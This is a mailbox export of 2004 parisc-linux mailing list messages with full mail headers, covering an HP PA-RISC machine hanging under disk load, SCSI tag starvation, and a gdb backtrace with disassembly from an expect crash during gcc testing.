X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Ochman <fback@fback.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] Where to start from?
Date: Wed, 01 Sep 2004 19:50:32 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <41360BE8.2050209@fback.net>
References: <4135CD63.9040507@fback.net> <4135D78B.8030805@tiscali.be>
	<4135E714.1000004@fback.net> <4135F5CF.2040609@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623541 10911 80.91.229.3 (22 Nov 2014 02:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:21 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32202 invoked by uid 65534); 1 Sep 2004 17:52:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 01 Sep 2004 19:52:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D66363BDF8; Wed,  1 Sep 2004 11:52:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29046-01; Wed, 1 Sep 2004 11:51:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D8073BE12; Wed,  1 Sep 2004 11:50:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32B843BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 11:50:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28387-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 11:50:51 -0600 (MDT)
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id 747B73BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 11:50:50 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i81HmaUw013217 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 19:48:36 +0200
Original-Received: from [192.168.1.2] (fback@wifi2.home.fback.net [192.168.1.2])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i81HoSV7020430
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 19:50:28 +0200
User-Agent: Mozilla Thunderbird 0.7.3 (X11/20040819)
X-Accept-Language: en-us, en
In-Reply-To: <4135F5CF.2040609@tiscali.be>
X-Enigmail-Version: 0.85.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21938

Joel Soete wrote:

> mmm in normal operation, can the system run severall hours without pb?

Not only hours, but weeks or months. I didn't have troubles during 
instalation, I think 1.5 years ago, when the disks worked hard too. I 
also think, everything started when glibc upgraded to 2.3... and "old" 
sarge with glibc 2.2 and kernel around 2.4.18 had worked without that 
problem.

> And when system hung, if you wait some minutes (about 3 min iirc), don't 
> you read SCSI BUS RESET messages at the console?
Nothing like that. It dies completly, heart stops beating (all diodes on 
the front panel stops blinking). It doesn't respond to anything.

> Trust me this logic has no sence in electronic: 3 weeks ago we (I mean 
> an Hp engineer) power off a N system to add a FC card, when we try to 
> restart, ...
Yeah, I know. But somehow I feel, this is not hardware-related 
problem... There shuould be some symptoms of disk related problems in 
the dmesg after few weeks of working, but I have nothing like that.

> That said, the final step is to 'TOC' your system when it hung (do you 
> know the bleue button behind your box?)
No?

> then grab the 'ser piminfo' and analyse what you grab on your system 
> when it reboot with 
> <http://cvs.parisc-linux.org/build-tools/dump_analyser.sh>
I'll try this, but not before October or so. I'm currently rather busy 
with my MSc final exam.

Thanks,
BO
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] Where to start from?
Date: Wed, 1 Sep 2004 21:14:53 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20040902031453.GA24049@colo.lackof.org>
References: <4135CD63.9040507@fback.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623541 10913 80.91.229.3 (22 Nov 2014 02:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bartlomiej Ochman <fback@fback.net>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19562 invoked by uid 65534); 2 Sep 2004 03:16:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 02 Sep 2004 05:16:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5501F3BE2D; Wed,  1 Sep 2004 21:16:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00989-05; Wed, 1 Sep 2004 21:16:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 184EC3BE24; Wed,  1 Sep 2004 21:15:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8AD03BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 21:14:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00989-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 21:14:58 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0A6CC3BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 21:14:58 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 32E1E29811D; Wed,  1 Sep 2004 21:14:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23911-06; Wed, 1 Sep 2004 21:14:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EA17329811B; Wed,  1 Sep 2004 21:14:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4135CD63.9040507@fback.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21939

On Wed, Sep 01, 2004 at 03:23:47PM +0200, Bartlomiej Ochman wrote:
> Recently I 
> discovered, it hangs completly, without any message, under heavy disc 
> load (eg. bzip2 -cd kernel-source-2.6.8.tar.bz | tar xf -, or apt-get 
> upgrade cycle).
> 
> As I am not familiar with hppa architecture, where should I start to 
> snoop from?

Bartlomiej,
the things we need to know are in this FAQ:
	http://www.parisc-linux.org/faq/kernelbug-howto.html

BTW, please don't compress files you attach - the mail archive
can't search through them.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 53c700.c problems with tags?
Date: Wed, 1 Sep 2004 21:18:59 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040902031859.GB24049@colo.lackof.org>
References: <Pine.LNX.4.58.0408311232240.2373@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623541 10916 80.91.229.3 (22 Nov 2014 02:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:21 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13694 invoked by uid 65534); 2 Sep 2004 03:19:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 02 Sep 2004 05:19:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 426873BE22; Wed,  1 Sep 2004 21:19:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01377-07; Wed, 1 Sep 2004 21:19:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 471E33BE24; Wed,  1 Sep 2004 21:19:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F6A53BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 21:19:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01377-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 21:19:01 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D2F483BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 21:19:00 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 4DBAE29811D; Wed,  1 Sep 2004 21:19:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23911-09; Wed, 1 Sep 2004 21:18:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AC48329811B; Wed,  1 Sep 2004 21:18:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0408311232240.2373@localhost>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21940

On Tue, Aug 31, 2004 at 12:39:12PM +0200, Jochen Friedrich wrote:
> Hi,
> 
> when doing heavy io on my 715/64, i sometimes get the following panic:
> 
> scsi0 (0:0) Target is suffering from tag starvation.

Searching for "tag starvation" at
	http://lists.parisc-linux.org/

yields:
	http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024357.html

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux signal race fixes,
	patches against hppa tree, please te
Date: Wed, 1 Sep 2004 16:08:47 -0400 (EDT)
Lines: 90
Approved: news@gmane.org
Message-ID: <200409012008.i81K8mGw011839@hiauly1.hia.nrc.ca>
References: <200408312043.i7VKhBDp005965@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623542 10917 80.91.229.3 (22 Nov 2014 02:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:22 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26615 invoked by uid 65534); 1 Sep 2004 20:10:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 01 Sep 2004 22:10:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 749713BDDB; Wed,  1 Sep 2004 14:09:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29653-08; Wed, 1 Sep 2004 14:09:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D12823BE1C; Wed,  1 Sep 2004 14:09:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC7D53BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 14:08:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29653-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 14:08:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4138E3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 14:08:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i81K8m45011840; Wed, 1 Sep 2004 16:08:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i81K8mGw011839;
	Wed, 1 Sep 2004 16:08:48 -0400 (EDT)
In-Reply-To: <200408312043.i7VKhBDp005965@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Aug 31, 2004 04:43:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21941

Hi Randolph,

> > I've been running this now for three days on hiauly6 with a 32-bit
> > 2.6.8.1-pa7 kernel (default c3000 config) doing almost continuous gcc
> > builds.  Things seem pretty promising.  No random SIGSEGVs and expect
> > seems to be behaving itself.
> 
> As usual, I have to eat my words.  The libjava "PR218 -O3 execution -
> source compiled test" hung in the libjava testsuite on the next gcc
> build.  Looking at libjava.log, I see that there is no "WARNING:
> program timed out." message for this test.  Thus, the alarm signal
> for this test somehow got lost.  The testsuite continued after I
> killed PR218.exe.

Ok, the next time around on gsyprf11 expect did a SIGSEGV after the
exact same test.  The timeout warning was printed in the log this time.

The core dump, core.20875, is in my home directory.  The expect
program is /home/dave/opt/gnu/bin/expect.  I can see that expect
died because %r4 has apparently gotten clobbered.  It contains
0.  %r4 was used to restore the pic register after the last call.
We then die in a stub that uses the pic register.

Is there any chance you could look at fixing the backtrace command
in gdb?  Here is the bt:

(gdb) bt
#0  0x406a0ef4 in NativePathInFilesystem () from /usr/lib/libtcl8.4.so.0
#1  0x406d5be4 in Tcl_WaitForEvent () from /usr/lib/libtcl8.4.so.0
#2  0x00000000 in ?? ()
#3  0x00000000 in ?? ()
(gdb) maint print unwind 0x406d5be4
unwind_table_entry (0x6a6744):
        region_start = 0x406d59b0 <Tcl_WaitForEvent+784>
	region_end = 0x406d5e0c <Tcl_WaitForEvent+1900>
	flags = Save_RP
	Region_description = 0x1
	Entry_FR = 0x0
	Entry_GR = 0x10
	Total_frame_size = 0x48
(gdb) disass 0x406a0ee4 0x406a0f04
Dump of assembler code from 0x406a0ee4 to 0x406a0f04:
0x406a0ee4 <NativePathInFilesystem+1668>:       ldw 518(,r1),r21
0x406a0ee8 <NativePathInFilesystem+1672>:       bv r0(r21)
0x406a0eec <NativePathInFilesystem+1676>:       ldw 51c(,r1),r19
0x406a0ef0 <NativePathInFilesystem+1680>:       addil -1800,r19,%r1
0x406a0ef4 <NativePathInFilesystem+1684>:       ldw 320(,r1),r21
0x406a0ef8 <NativePathInFilesystem+1688>:       bv r0(r21)
0x406a0efc <NativePathInFilesystem+1692>:       ldw 324(,r1),r19
0x406a0f00 <NativePathInFilesystem+1696>:       addil -1800,r19,%r1
(gdb) disass 0x406d5bc4 0x406d5bf4
Dump of assembler code from 0x406d5bc4 to 0x406d5bf4:
0x406d5bc4 <Tcl_WaitForEvent+1316>:     stw r8,-34(,sp)
0x406d5bc8 <Tcl_WaitForEvent+1320>:     copy r4,r19
0x406d5bcc <Tcl_WaitForEvent+1324>:     copy r5,r26
0x406d5bd0 <Tcl_WaitForEvent+1328>:     ldo -238(sp),r25
0x406d5bd4 <Tcl_WaitForEvent+1332>:     ldo -1b8(sp),r24
0x406d5bd8 <Tcl_WaitForEvent+1336>:     ldo -138(sp),r23
0x406d5bdc <Tcl_WaitForEvent+1340>:     b,l 0x406a2394 <NativePathInFilesystem+6
964>,rp
0x406d5be0 <Tcl_WaitForEvent+1344>:     ldi 60,r7
0x406d5be4 <Tcl_WaitForEvent+1348>:     cmpib,= -1,ret0,0x406d5b24 <Tcl_WaitForE
vent+1156>
0x406d5be8 <Tcl_WaitForEvent+1352>:     copy r4,r19
0x406d5bec <Tcl_WaitForEvent+1356>:     b,l 0x406a0ef0 <NativePathInFilesystem+1
680>,rp
0x406d5bf0 <Tcl_WaitForEvent+1360>:     copy r14,r26
(gdb) p/x $rp
$1 = 0x406d5bf7
(gdb) disass 0x406a2394 0x406a23a4
Dump of assembler code from 0x406a2394 to 0x406a23a4:
0x406a2394 <NativePathInFilesystem+6964>:       addil -800,r19,%r1
0x406a2398 <NativePathInFilesystem+6968>:       ldw a0(,r1),r21
0x406a239c <NativePathInFilesystem+6972>:       bv r0(r21)

I'm not quite sure how we got to the point of the segfault.  However,
with respect to gdb, the back trace uses the wrong function symbol
in both frames 0 and 1.  We are in a stub in frame 0.  I'm fairly
sure that this is why the bt fails at frame 2.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux signal race fixes,
	patches against hppa tree, please te
Date: Thu, 2 Sep 2004 02:29:44 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20040902062944.GB32474@baldric.uwo.ca>
References: <200408310423.i7V4NXjb001644@hiauly1.hia.nrc.ca>
	<200408312043.i7VKhBDp005965@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623542 10919 80.91.229.3 (22 Nov 2014 02:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:22 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7048 invoked by uid 65534); 2 Sep 2004 06:31:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 02 Sep 2004 08:31:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AAD833BE0E; Thu,  2 Sep 2004 00:30:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03207-02; Thu, 2 Sep 2004 00:30:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 85E6E3BE24; Thu,  2 Sep 2004 00:30:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79EBF3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 00:30:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01849-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Sep 2004 00:29:59 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 157F73BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Sep 2004 00:29:59 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C2l6P-0002eL-00; Thu, 02 Sep 2004 02:29:45 -0400
Content-Disposition: inline
In-Reply-To: <200408312043.i7VKhBDp005965@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
